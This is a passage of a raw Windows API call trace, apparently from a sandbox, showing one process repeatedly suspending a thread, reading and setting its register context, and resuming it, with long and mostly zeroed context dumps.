[0075.103] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000493c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f5100, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0075.389] ResumeThread (hThread=0x118) returned 0x1
[0075.389] CloseHandle (hObject=0x118) returned 1
[0075.389] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0075.450] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0075.500] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0075.598] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0075.699] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0075.700] SuspendThread (hThread=0x118) returned 0x0
[0075.700] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000049710, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1306000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0075.810] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000049708, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0075.818] ResumeThread (hThread=0x118) returned 0x1
[0075.818] CloseHandle (hObject=0x118) returned 1
[0075.818] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0076.105] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0076.261] SuspendThread (hThread=0x118) returned 0x0
[0076.282] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffa20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12d0720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0076.365] ResumeThread (hThread=0x118) returned 0x1
[0076.365] CloseHandle (hObject=0x118) returned 1
[0076.385] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0076.423] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0076.511] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0076.628] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0076.733] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0076.810] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0076.810] SuspendThread (hThread=0x118) returned 0x0
[0076.810] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000495e0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1312000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, 